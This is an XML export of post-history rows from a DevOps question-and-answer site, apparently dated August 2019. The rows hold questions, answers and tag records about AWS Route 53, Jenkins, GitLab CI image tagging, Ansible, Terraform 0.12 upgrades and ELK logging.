  <row Id="26169" PostHistoryTypeId="3" PostId="8918" RevisionGUID="bbf5258e-5a8e-4f02-98cd-4c278d7277b6" CreationDate="2019-08-16T19:43:41.293" UserId="5190" Text="&lt;amazon-web-services&gt;&lt;dns&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26170" PostHistoryTypeId="50" PostId="8629" RevisionGUID="7d26ac02-13fd-49ea-9a09-4c63f5b36d1d" CreationDate="2019-08-16T20:01:30.170" UserId="-1" />
  <row Id="26171" PostHistoryTypeId="5" PostId="8918" RevisionGUID="506526f5-0a1b-4dc0-b66d-32658817a45c" CreationDate="2019-08-16T20:08:18.747" UserId="5190" Comment="added question about traffic flow" Text="When I look over the documentation for [Route 53 Routing Policies][1] they list 7 different policies. How should I pick the right one if I am building out new infrastructure in AWS for a US-based e-commerce website? Here is the list of offerings:&#xD;&#xA;&#xD;&#xA;- Simple&#xD;&#xA;- Failover&#xD;&#xA;- Geolocation&#xD;&#xA;- Geoproximity&#xD;&#xA;- Latency-based&#xD;&#xA;- Multivalue Answer&#xD;&#xA;- Weighted&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;These different routing policies are pretty confusing. I would of course always want failover for my DNS. Why would I ever choose Simple? Is there some major difference between Geolocation and Geoproximity? What do they mean by &quot;Traffic Flow Only&quot; next to Geoproximity?&#xD;&#xA;&#xD;&#xA;Because of the confusion around all of this I am for now choosing latency-based routing. That seems simple and intuitive. I have ELBs to handle failover for me, and with my latency routing I have associated health-checks, so it _seems_ like my bases are covered. &#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/routing-policy.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="26172" PostHistoryTypeId="2" PostId="8919" RevisionGUID="b5b90ade-99a9-404d-9020-54b1176f23d1" CreationDate="2019-08-16T21:47:37.183" UserId="16611" Text="I want to pass some environment variables in the time of generating the multibranch pipeline, so upon the build start, it will already have these variables.&#xD;&#xA;&#xD;&#xA;The only thing I found was this envInject plugin which is not supported by multibranch DSL generation.&#xD;&#xA;&#xD;&#xA;https://jenkinsci.github.io/job-dsl-plugin/#plugin/envinject&#xD;&#xA;&#xD;&#xA;Does anyone know the way to do that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26173" PostHistoryTypeId="1" PostId="8919" RevisionGUID="b5b90ade-99a9-404d-9020-54b1176f23d1" CreationDate="2019-08-16T21:47:37.183" UserId="16611" Text="Is it possible to pass environment variables to multibranch pipeline job in a time of generating it via DSL?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26174" PostHistoryTypeId="3" PostId="8919" RevisionGUID="b5b90ade-99a9-404d-9020-54b1176f23d1" CreationDate="2019-08-16T21:47:37.183" UserId="16611" Text="&lt;jenkins&gt;&lt;job-dsl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26179" PostHistoryTypeId="2" PostId="8920" RevisionGUID="b949c7eb-041d-4905-9efd-20af5da36b04" CreationDate="2019-08-17T03:55:21.777" UserId="16612" Text="You can use Jenkins DSL and pass the environment variable as mentioned in below links:&#xD;&#xA;&#xD;&#xA;https://jenkins.io/doc/book/pipeline/syntax/#environment&#xD;&#xA;https://jenkins.io/doc/pipeline/steps/workflow-basic-steps/#withenv-set-environment-variables" ContentLicense="CC BY-SA 4.0" />
  <row Id="26180" PostHistoryTypeId="50" PostId="8619" RevisionGUID="75687b24-8cac-4324-9575-92da165a5e81" CreationDate="2019-08-17T06:03:15.430" UserId="-1" />
  <row Id="26181" PostHistoryTypeId="2" PostId="8921" RevisionGUID="4d0b8a04-1869-4e6f-be3c-b8de03ac7248" CreationDate="2019-08-17T08:09:39.300" UserId="16451" Text="One possibility is mounting the bucket as `s3fs` and serving the root folder as usually done by Nginx." ContentLicense="CC BY-SA 4.0" />
  <row Id="26183" PostHistoryTypeId="2" PostId="8922" RevisionGUID="6e2b7578-8b07-49f8-a261-9148539e49cb" CreationDate="2019-08-17T14:46:20.723" UserId="16623" Text="You need to remove dash in front of variable. Use syntax like that:&#xD;&#xA;```&#xD;&#xA;   environment:&#xD;&#xA;     NODE_CONFIG: '{&quot;DATABASE_URL&quot;:&quot;http://db:5984&quot;}'&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="26188" PostHistoryTypeId="2" PostId="8924" RevisionGUID="79863723-23ca-4dfe-bcc2-75dae32409c8" CreationDate="2019-08-17T22:51:08.173" UserId="8251" Text="In addition to Mlu answer, you can put Cloud front in front of the bucket and implement basic auth and probably listing/sorting with a Lambda@edge function.&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26189" PostHistoryTypeId="50" PostId="3421" RevisionGUID="843e19c6-03d6-4114-8def-ea9cf484df12" CreationDate="2019-08-18T11:01:25.157" UserId="-1" />
  <row Id="26190" PostHistoryTypeId="5" PostId="4336" RevisionGUID="36a969bf-92be-44bf-bdeb-0f454599bc0f" CreationDate="2019-08-18T11:34:37.153" UserId="210" Comment="deleted 23 characters in body" Text="For a project i'm working on we need to create a Jenkins node in an AWS environment. For this we will work with the docker image which is available on https://github.com/jenkinsci/docker-ssh-slave &#xD;&#xA;The Jenkins node will be responsible for executing AWS commands which can only be done from inside the AWS environment (Not outside).&#xD;&#xA;&#xD;&#xA;This Jenkins Master is running in our local environment. We will add the node as a permanent node in the Jenkins master. The Jenkins master is not responsible for setting up the Jenkins Node, since it has no permissions to do this ( this is managed in AWS )&#xD;&#xA;&#xD;&#xA;However we would like to monitor the Jenkins Slave inside AWS to see if it it still running succesfully. With other docker container we also expose a health check. If the health check fails, the docker container is treated as unhealthy and is restarted accordingly. &#xD;&#xA;Just like we do with the other docker containers, we would like to expose such an health port as well on the Jenkins Slave. If it is not responding anymore AWS will restart the docker container and we have a stable system.  &#xD;&#xA;&#xD;&#xA;We already explored the Nagios monitoring, but it looks like this is exposing the health in the master and not directly in the slave. &#xD;&#xA;&#xD;&#xA;Is it available, or how can we add such functionallity? &#xD;&#xA;Could you guide us into the correct direction, plugins which needs to be installed, ... &#xD;&#xA;&#xD;&#xA; - Can we open the default HTTP API of Jenkins in such a Jenkins slave (https://wiki.jenkins.io/display/JENKINS/Remote+access+API)&#xD;&#xA; - Another approach could be that we add and start NGINX in docker and point the healthcheck to NGINX but this way we are not really checking the healt of the the Jenkins slave." ContentLicense="CC BY-SA 4.0" />
  <row Id="26191" PostHistoryTypeId="2" PostId="8925" RevisionGUID="a6621324-8668-492e-aec4-b3b3446d4989" CreationDate="2019-08-18T11:40:11.833" UserId="210" Text="To me it looks like you are trying to reinvent the wheel. As I understood you would like to restart a container if a health check fails. As you are using docker you should use a orchestration platform in my opinion like Fargate (ECS) or Kubernetes (k8s). I know from the latter that it is possible to define healthchecks, like readiness and health probes. If the health check fails, kubernetes will restart the POD (auto healing). &#xD;&#xA;&#xD;&#xA;It could be possible that you would argue that k8s is not an option. If that is the case, you could also have a look to AWS OpsWorks. Although I did not try it myself yet, it is able to perform auto healing as well." ContentLicense="CC BY-SA 4.0" />
  <row Id="26192" PostHistoryTypeId="50" PostId="5226" RevisionGUID="87542f10-2027-4cd8-9024-63e879198e82" CreationDate="2019-08-18T13:03:45.453" UserId="-1" />
  <row Id="26193" PostHistoryTypeId="2" PostId="8926" RevisionGUID="dd9c49cc-513c-4076-8103-7b181fd06b70" CreationDate="2019-08-18T14:04:53.810" UserId="16622" Text="map_public parameter set to true in the second link should do this." ContentLicense="CC BY-SA 4.0" />
  <row Id="26195" PostHistoryTypeId="2" PostId="8927" RevisionGUID="4f1690c5-998c-4b90-a418-70bc969178a1" CreationDate="2019-08-19T01:46:05.840" UserId="2539" Text="You can download or read the **Secret Key** only when you set it up for the first time.&#xD;&#xA;&#xD;&#xA;If you lost the **Secret Key** / didn't manage to save it and is not being used anywhere, it is better to *Delete* and create a new one.&#xD;&#xA;&#xD;&#xA;Don't forget to copy the **Secret Key** before you move to any other screen this time :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="26198" PostHistoryTypeId="2" PostId="8928" RevisionGUID="118ffb95-2c7f-4c39-8f4b-11b75e34af14" CreationDate="2019-08-19T05:22:03.240" UserId="16635" Text="I'm currently using gitlab-ci to generate docker images for some repositories, however i dont feel as though this solution is as reliable as it should be.&#xD;&#xA;&#xD;&#xA;I can forsee a issue with multiple builds happening close together and build #100 overwriting the newly built docker image produced by build #101, if for whatever reason jobs dont finish sequentially (eg: multiple build hosts, etc...).&#xD;&#xA;&#xD;&#xA;Currently the tags i'm hoping to use follow this pattern:&#xD;&#xA;`namespace/application:branch-name`&#xD;&#xA;&#xD;&#xA;The crux of the question is as follows:&#xD;&#xA;&#xD;&#xA;1. How do other services solve this problem? (presumibly running builds sequentially per branch?)&#xD;&#xA;2. How should this issue be resolved in gitlab environments in a totally watertight manner&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I understand this problem would go away if i use the SHA of the commit for the build tag, but i'd like to stick to the branch name for the following reasons:&#xD;&#xA;&#xD;&#xA;- orphaned / old images will be grabage collected by the docker registry&#xD;&#xA;- branch name is easier to use" ContentLicense="CC BY-SA 4.0" />
  <row Id="26199" PostHistoryTypeId="1" PostId="8928" RevisionGUID="118ffb95-2c7f-4c39-8f4b-11b75e34af14" CreationDate="2019-08-19T05:22:03.240" UserId="16635" Text="CI pipelines, concurrency and build results possibly overwriting each-other" ContentLicense="CC BY-SA 4.0" />
  <row Id="26200" PostHistoryTypeId="3" PostId="8928" RevisionGUID="118ffb95-2c7f-4c39-8f4b-11b75e34af14" CreationDate="2019-08-19T05:22:03.240" UserId="16635" Text="&lt;docker&gt;&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;&lt;docker-registry&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26201" PostHistoryTypeId="50" PostId="5323" RevisionGUID="a9881027-7f66-4beb-9e46-35d34db40489" CreationDate="2019-08-19T09:02:45.543" UserId="-1" />
  <row Id="26202" PostHistoryTypeId="50" PostId="5513" RevisionGUID="c114d6cc-fb7f-4890-993a-b7bc7c743b6e" CreationDate="2019-08-19T11:02:45.287" UserId="-1" />
  <row Id="26203" PostHistoryTypeId="2" PostId="8929" RevisionGUID="9a5a9db9-ba50-415f-a1ed-c9b42bcb4db3" CreationDate="2019-08-19T11:43:18.743" UserId="16642" Text="I want to know that if I set autoscaling for ec2 instance in Amazon Web Services, how can I set optimized autoscaling for large numbers of connections in order to avoid unusual autoscaling." ContentLicense="CC BY-SA 4.0" />
  <row Id="26204" PostHistoryTypeId="1" PostId="8929" RevisionGUID="9a5a9db9-ba50-415f-a1ed-c9b42bcb4db3" CreationDate="2019-08-19T11:43:18.743" UserId="16642" Text="How to Avoid High number of requests for avoiding Aws EC2 instance AutoScalin" ContentLicense="CC BY-SA 4.0" />
  <row Id="26205" PostHistoryTypeId="3" PostId="8929" RevisionGUID="9a5a9db9-ba50-415f-a1ed-c9b42bcb4db3" CreationDate="2019-08-19T11:43:18.743" UserId="16642" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26211" PostHistoryTypeId="50" PostId="4830" RevisionGUID="ef51fb18-692b-47fb-941a-4d4e98a5d87a" CreationDate="2019-08-19T22:01:55.237" UserId="-1" />
  <row Id="26215" PostHistoryTypeId="50" PostId="6225" RevisionGUID="c9d3e9aa-3e61-4d9c-9c02-76a4f6fb3387" CreationDate="2019-08-20T07:02:25.307" UserId="-1" />
  <row Id="26216" PostHistoryTypeId="2" PostId="8932" RevisionGUID="f4226ecf-725b-4c72-8d27-31893a6aec94" CreationDate="2019-08-20T07:57:59.477" UserId="16643" Text="Organization's Github account was deleted but there is backup of all the repos on hard disk.  So will creating new repo of same names and then pushing the code restore the code base ?  &#xD;&#xA;(The account was deleted more than 2 months ago.)" ContentLicense="CC BY-SA 4.0" />
  <row Id="26217" PostHistoryTypeId="1" PostId="8932" RevisionGUID="f4226ecf-725b-4c72-8d27-31893a6aec94" CreationDate="2019-08-20T07:57:59.477" UserId="16643" Text="Restore Github organization account" ContentLicense="CC BY-SA 4.0" />
  <row Id="26218" PostHistoryTypeId="3" PostId="8932" RevisionGUID="f4226ecf-725b-4c72-8d27-31893a6aec94" CreationDate="2019-08-20T07:57:59.477" UserId="16643" Text="&lt;github&gt;&lt;organization&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26219" PostHistoryTypeId="50" PostId="6385" RevisionGUID="b529644b-81dc-4564-a975-07de6f0210bb" CreationDate="2019-08-20T08:01:00.110" UserId="-1" />
  <row Id="26220" PostHistoryTypeId="2" PostId="8933" RevisionGUID="3323661b-3396-464f-ac4f-869dc62a74a9" CreationDate="2019-08-20T09:13:01.843" UserId="15719" Text="The other option you could try is to add email notification as part of your build script. I use ANT build script and call the email notification target from my jenkins job instead of using the email plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="26221" PostHistoryTypeId="2" PostId="8934" RevisionGUID="31c802f1-a372-4638-91b3-9a2675e277c3" CreationDate="2019-08-20T10:52:30.793" UserId="16316" Text="I am using AzureDevOps and the trick we use when naming containers is to add build number to the label&#xD;&#xA;&#xD;&#xA;    namespace/application:branch-name-bulidNumber&#xD;&#xA;&#xD;&#xA;So in your case, you could try [gitlab variable][1] `CI_CONCURRENT_PROJECT_ID`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/variables/predefined_variables.html#predefined-environment-variables-reference" ContentLicense="CC BY-SA 4.0" />
  <row Id="26222" PostHistoryTypeId="5" PostId="8934" RevisionGUID="93e2b81e-8ce3-49a0-811e-7ea26ae19028" CreationDate="2019-08-20T11:40:06.240" UserId="16316" Comment="added 480 characters in body" Text="I am using AzureDevOps and the trick we use when naming containers is to add build number to the label&#xD;&#xA;&#xD;&#xA;    namespace/application:branch-name-bulidNumber&#xD;&#xA;&#xD;&#xA;So in your case, you could try [gitlab variable][1] `CI_CONCURRENT_PROJECT_ID`&#xD;&#xA;&#xD;&#xA;After comment&#xD;&#xA;============&#xD;&#xA;for images clean-up you can use:&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;      docker image prune --all --filter until=48h &#xD;&#xA;&#xD;&#xA;As docker system prune and docker image prune have the until filter. So docker image prune --all --filter **until=48h** would remove all (not just dangling) images that were created more than 48 hours ago. Hopefully that helps. [source here][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/variables/predefined_variables.html#predefined-environment-variables-reference&#xD;&#xA;  [2]: https://forums.docker.com/t/simple-script-needed-to-delete-all-docker-images-over-4-weeks-old/28558/7" ContentLicense="CC BY-SA 4.0" />
  <row Id="26223" PostHistoryTypeId="2" PostId="8935" RevisionGUID="7fa782e8-6d5b-4ca6-9761-59fc9f51addb" CreationDate="2019-08-20T12:57:02.057" UserId="16665" Text="I'm new with Ansible so hope to find answers here.&#xD;&#xA;I'm trying to run some playbook but getting an error:&#xD;&#xA;**fatal: [10.65.30.117]: FAILED! =&gt; {&quot;msg&quot;: &quot;Timeout (12s) waiting for privilege escalation prompt: &quot;}**&#xD;&#xA;Here are the steps which I performed:&#xD;&#xA;&#xD;&#xA; 1. I installed Ansible 2.6.17 on RHEL 6.8 using root user.&#xD;&#xA; 2. I update /etc/ansible/host with new group of IPs (with root user)&#xD;&#xA; 3. I created playbook file (with some other user) with the following content:&#xD;&#xA;&#xD;&#xA;  name: sample_playbook&#xD;&#xA;&#xD;&#xA;  hosts: [ansible_clients]&#xD;&#xA;&#xD;&#xA;  remote_user: ronenal&#xD;&#xA;&#xD;&#xA;  become: true&#xD;&#xA;&#xD;&#xA;  tasks:&#xD;&#xA;&#xD;&#xA;     name: create file&#xD;&#xA;&#xD;&#xA;     file:&#xD;&#xA;&#xD;&#xA;       path: /tmp/ansible.log&#xD;&#xA;&#xD;&#xA;       state: touch&#xD;&#xA;&#xD;&#xA;       mode: u=rw,g=r,o=r&#xD;&#xA;&#xD;&#xA;When I execute **ansible-playbook -sample_playbook.yml** I'm getting the above error.&#xD;&#xA;I set ANSIBLE_DEBUG=1 and it looks like it related to sudo command.&#xD;&#xA;The User which I use is not in the sudoers list.&#xD;&#xA;My questions:&#xD;&#xA;&#xD;&#xA; 1. Is it required to be a privileged user in order to execute Ansible playbook?&#xD;&#xA; 2. if no, what am I doing wrong?&#xD;&#xA; 3. if yes, is that mean that I need to add this user to the sudoers users list?&#xD;&#xA;&#xD;&#xA;Thank you,&#xD;&#xA;Ronen&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26224" PostHistoryTypeId="1" PostId="8935" RevisionGUID="7fa782e8-6d5b-4ca6-9761-59fc9f51addb" CreationDate="2019-08-20T12:57:02.057" UserId="16665" Text="Waiting for privilege escalation prompt" ContentLicense="CC BY-SA 4.0" />
  <row Id="26225" PostHistoryTypeId="3" PostId="8935" RevisionGUID="7fa782e8-6d5b-4ca6-9761-59fc9f51addb" CreationDate="2019-08-20T12:57:02.057" UserId="16665" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26226" PostHistoryTypeId="50" PostId="3089" RevisionGUID="0a19c493-cc75-4a35-b863-5daf8e5eab14" CreationDate="2019-08-20T14:02:20.303" UserId="-1" />
  <row Id="26227" PostHistoryTypeId="2" PostId="8936" RevisionGUID="d8de51b0-eab1-41a0-bcc4-78a274a779c1" CreationDate="2019-08-20T14:28:46.233" UserId="16667" Text="I'm trying to setup a way to constantly monitor a website that is built and deployed via Jenkins. A simple curl command would tell me if everything is ok I just don't know how I would setup a job to do this every ~10min or if this would be a bad idea. " ContentLicense="CC BY-SA 4.0" />
  <row Id="26228" PostHistoryTypeId="1" PostId="8936" RevisionGUID="d8de51b0-eab1-41a0-bcc4-78a274a779c1" CreationDate="2019-08-20T14:28:46.233" UserId="16667" Text="Can/should I use Jenkins to monitor whether a website is up and send out an email if it's down?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26229" PostHistoryTypeId="3" PostId="8936" RevisionGUID="d8de51b0-eab1-41a0-bcc4-78a274a779c1" CreationDate="2019-08-20T14:28:46.233" UserId="16667" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26230" PostHistoryTypeId="2" PostId="8937" RevisionGUID="78fa9e4d-f6a0-44c4-b131-dfc3b404d3a7" CreationDate="2019-08-20T14:47:59.913" UserId="16664" Text="I'm trying to upgrade terraform from 0.11 to 0.12 but receiving error:&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;     Error: Reference to &quot;count&quot; in non-counted context&#xD;&#xA;    &#xD;&#xA;      on main.tf line 33, in data &quot;aws_subnet&quot; &quot;public&quot;:&#xD;&#xA;      33:   id = data.aws_subnet_ids.public.ids[count.index]&#xD;&#xA;    &#xD;&#xA;    The &quot;count&quot; object can be used only in &quot;resource&quot; and &quot;data&quot; blocks, and only&#xD;&#xA;    when the &quot;count&quot; argument is set.&#xD;&#xA;&#xD;&#xA;Here is my part of code:&#xD;&#xA;&#xD;&#xA;    data &quot;aws_subnet_ids&quot; &quot;public&quot; {&#xD;&#xA;      vpc_id = data.aws_vpc.vpc.id&#xD;&#xA;    &#xD;&#xA;      tags = {&#xD;&#xA;        Tier = &quot;public&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    data &quot;aws_subnet&quot; &quot;public&quot; {  &#xD;&#xA;      id = data.aws_subnet_ids.public.ids[count.index]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Maybe someone know how to fix this error?&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="26231" PostHistoryTypeId="1" PostId="8937" RevisionGUID="78fa9e4d-f6a0-44c4-b131-dfc3b404d3a7" CreationDate="2019-08-20T14:47:59.913" UserId="16664" Text="Terraform | Upgrade to 0.12 error Reference to &quot;count&quot; in non-counted context" ContentLicense="CC BY-SA 4.0" />
  <row Id="26232" PostHistoryTypeId="3" PostId="8937" RevisionGUID="78fa9e4d-f6a0-44c4-b131-dfc3b404d3a7" CreationDate="2019-08-20T14:47:59.913" UserId="16664" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26233" PostHistoryTypeId="2" PostId="8938" RevisionGUID="323296ae-e3e5-4c8c-a243-f53f2c1fe564" CreationDate="2019-08-20T14:48:13.193" UserId="10607" Text="You don't need to be a privileged user (in your local machine) in order to execute Ansible playbook.&#xD;&#xA;&#xD;&#xA;When using `Become` : Ansible allows you to ‘become’ another user, different from the user that logged into the machine (remote user). &#xD;&#xA;&#xD;&#xA;for more details see [Understanding Privilege Escalation][1]&#xD;&#xA;&#xD;&#xA;In your inventory of hosts  [/etc/ansible/host] you have specified a group of IPs with root user while you are specifying a [remote_user: ronenal] in your playbook.&#xD;&#xA;&#xD;&#xA;So you need to run ansible-playbook with --ask-become-pass or -K. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/user_guide/become.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="26234" PostHistoryTypeId="2" PostId="8939" RevisionGUID="2ce5713c-8045-41e1-8420-a4bce28e9c6a" CreationDate="2019-08-20T17:28:42.270" UserId="2463" Text="It looks like your underlying goal here is to retrieve the full set of attributes for each of your subnets that are marked as `Tier = public`. Here's a different way to do that using features from Terraform 0.12.6:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;data &quot;aws_subnet_ids&quot; &quot;public&quot; {&#xD;&#xA;  vpc_id = data.aws_vpc.vpc.id&#xD;&#xA;&#xD;&#xA;  tags = {&#xD;&#xA;    Tier = &quot;public&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;data &quot;aws_subnet&quot; &quot;public&quot; {  &#xD;&#xA;  for_each = data.aws_subnet_ids.public.ids&#xD;&#xA;&#xD;&#xA;  id = data.aws_subnet_ids.public.ids[count.index]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With the above, you should find that `data.aws_subnet.public` is a map from subnet id to the attributes of that particular subnet.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The reason for the error in your case is that you used `count.index` but didn't set the `count` argument, and so there is no count index to return.&#xD;&#xA;&#xD;&#xA;The `count`-based equivalent of the above, which is more similar to your original example, would be this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;data &quot;aws_subnet_ids&quot; &quot;public&quot; {&#xD;&#xA;  vpc_id = data.aws_vpc.vpc.id&#xD;&#xA;&#xD;&#xA;  tags = {&#xD;&#xA;    Tier = &quot;public&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;data &quot;aws_subnet&quot; &quot;public&quot; {  &#xD;&#xA;  count = length(data.aws_subnet_ids.public.ids)&#xD;&#xA;&#xD;&#xA;  id = sort(data.aws_subnet_ids.public.ids)[count.index]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The result of this is very similar to the `for_each`-based example I gave above, but with one significant difference: in this case `data.aws_subnet.public` will be a _list_ of subnet objects, ordered by the lexical ordering of their subnet ids. That will usually make the result harder to use elsewhere in the configuration, so I'd suggest using the `for_each` approach unless there's a specific reason why you need a list.&#xD;&#xA;&#xD;&#xA;(If you use a map and then later find that you need a list in a _specific context_, you can always use `values(data.aws_subnet.public)` to take the values from the map, in the same lexical order.)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26238" PostHistoryTypeId="5" PostId="8939" RevisionGUID="fb10114d-f1ae-4428-b388-0ad05622c470" CreationDate="2019-08-20T17:55:09.553" UserId="2463" Comment="deleted 33 characters in body" Text="It looks like your underlying goal here is to retrieve the full set of attributes for each of your subnets that are marked as `Tier = public`. Here's a different way to do that using features from Terraform 0.12.6:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;data &quot;aws_subnet_ids&quot; &quot;public&quot; {&#xD;&#xA;  vpc_id = data.aws_vpc.vpc.id&#xD;&#xA;&#xD;&#xA;  tags = {&#xD;&#xA;    Tier = &quot;public&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;data &quot;aws_subnet&quot; &quot;public&quot; {  &#xD;&#xA;  for_each = data.aws_subnet_ids.public.ids&#xD;&#xA;&#xD;&#xA;  id = each.value&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With the above, you should find that `data.aws_subnet.public` is a map from subnet id to the attributes of that particular subnet.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The reason for the error in your case is that you used `count.index` but didn't set the `count` argument, and so there is no count index to return.&#xD;&#xA;&#xD;&#xA;The `count`-based equivalent of the above, which is more similar to your original example, would be this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;data &quot;aws_subnet_ids&quot; &quot;public&quot; {&#xD;&#xA;  vpc_id = data.aws_vpc.vpc.id&#xD;&#xA;&#xD;&#xA;  tags = {&#xD;&#xA;    Tier = &quot;public&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;data &quot;aws_subnet&quot; &quot;public&quot; {  &#xD;&#xA;  count = length(data.aws_subnet_ids.public.ids)&#xD;&#xA;&#xD;&#xA;  id = sort(data.aws_subnet_ids.public.ids)[count.index]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The result of this is very similar to the `for_each`-based example I gave above, but with one significant difference: in this case `data.aws_subnet.public` will be a _list_ of subnet objects, ordered by the lexical ordering of their subnet ids. That will usually make the result harder to use elsewhere in the configuration, so I'd suggest using the `for_each` approach unless there's a specific reason why you need a list.&#xD;&#xA;&#xD;&#xA;(If you use a map and then later find that you need a list in a _specific context_, you can always use `values(data.aws_subnet.public)` to take the values from the map, in the same lexical order.)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26241" PostHistoryTypeId="2" PostId="8942" RevisionGUID="12b85452-9fea-49a2-8568-5006f7f13652" CreationDate="2019-08-20T19:01:01.967" UserId="16361" Text="I finally found out the problem: the fluent container needs some time to start up; because it's started with `--detach` the subsequent containers try to connect before fluentd is actually running, only the 3rd instance of the flask application connects when fluentd is already up. So, delaying the startup of the remaining containers solves my problem." ContentLicense="CC BY-SA 4.0" />
  <row Id="26242" PostHistoryTypeId="2" PostId="8943" RevisionGUID="2bef0f33-481f-49ea-9a06-160523361858" CreationDate="2019-08-20T19:15:43.710" UserId="16676" Text="I have a ballpark idea of how the ELK stack works. I read that by default, standard output is captured and that output will make its way to the elasticsearch repo. If I post something to stdout that content piece will be when visualized with Kibana in one field called &quot;message&quot;.&#xD;&#xA;&#xD;&#xA;So, besides the title which was anyway getting too long here's the additional ask. How do I send a structured message, json I guess? how do I configure it? I read that it is possible but I have some difficulties piecing it together. There's something about a json template that needs to be registered somewhere but I lack a clear example.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26243" PostHistoryTypeId="1" PostId="8943" RevisionGUID="2bef0f33-481f-49ea-9a06-160523361858" CreationDate="2019-08-20T19:15:43.710" UserId="16676" Text="What piece of software is responsible of shipping to ElasticSearch the standard output of a .Net.core web application running in a container" ContentLicense="CC BY-SA 4.0" />
  <row Id="26244" PostHistoryTypeId="3" PostId="8943" RevisionGUID="2bef0f33-481f-49ea-9a06-160523361858" CreationDate="2019-08-20T19:15:43.710" UserId="16676" Text="&lt;logging&gt;&lt;elastic&gt;&lt;json&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26245" PostHistoryTypeId="2" PostId="8944" RevisionGUID="7dbe782d-9436-4584-9c37-034c6dcf13bf" CreationDate="2019-08-20T19:26:45.177" UserId="7837" Text="Will CORS ever be a problem when you have x.example.com going to y.example.com or only if the root domain is different?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26246" PostHistoryTypeId="1" PostId="8944" RevisionGUID="7dbe782d-9436-4584-9c37-034c6dcf13bf" CreationDate="2019-08-20T19:26:45.177" UserId="7837" Text="CORS and subdomains - do subdomains matter?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26247" PostHistoryTypeId="3" PostId="8944" RevisionGUID="7dbe782d-9436-4584-9c37-034c6dcf13bf" CreationDate="2019-08-20T19:26:45.177" UserId="7837" Text="&lt;amazon-web-services&gt;&lt;cors&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26248" PostHistoryTypeId="50" PostId="1931" RevisionGUID="457b7513-3018-464c-b8bd-4038b4b7a4b4" CreationDate="2019-08-20T22:00:55.097" UserId="-1" />
  <row Id="26249" PostHistoryTypeId="2" PostId="8945" RevisionGUID="d5782abc-b011-4af3-997b-f7ea88756735" CreationDate="2019-08-21T05:05:10.433" UserId="16679" Text="I have tried Jenkins on my own and about to propose an enterprise grade CI/CD product to my development team which is around 40 people. CloudBees Core come at the top of my selected list since it is based on Jenkins and enterprise friendly as well.Apart from enterprise level support, I still can't really see the benefits to use CloudBees Core over Jenkins.&#xD;&#xA;&#xD;&#xA;Is there anyone who used Cloudbees through your DevOps transformation journey ?&#xD;&#xA;&#xD;&#xA;I would appreciate if you could discuss proprietary plugins and out of the box features that CloudBees Core provides." ContentLicense="CC BY-SA 4.0" />
  <row Id="26250" PostHistoryTypeId="1" PostId="8945" RevisionGUID="d5782abc-b011-4af3-997b-f7ea88756735" CreationDate="2019-08-21T05:05:10.433" UserId="16679" Text="What's are the advantages of using CloudBees Core over Jenkins?" ContentLicense="CC BY-SA 4.0" />
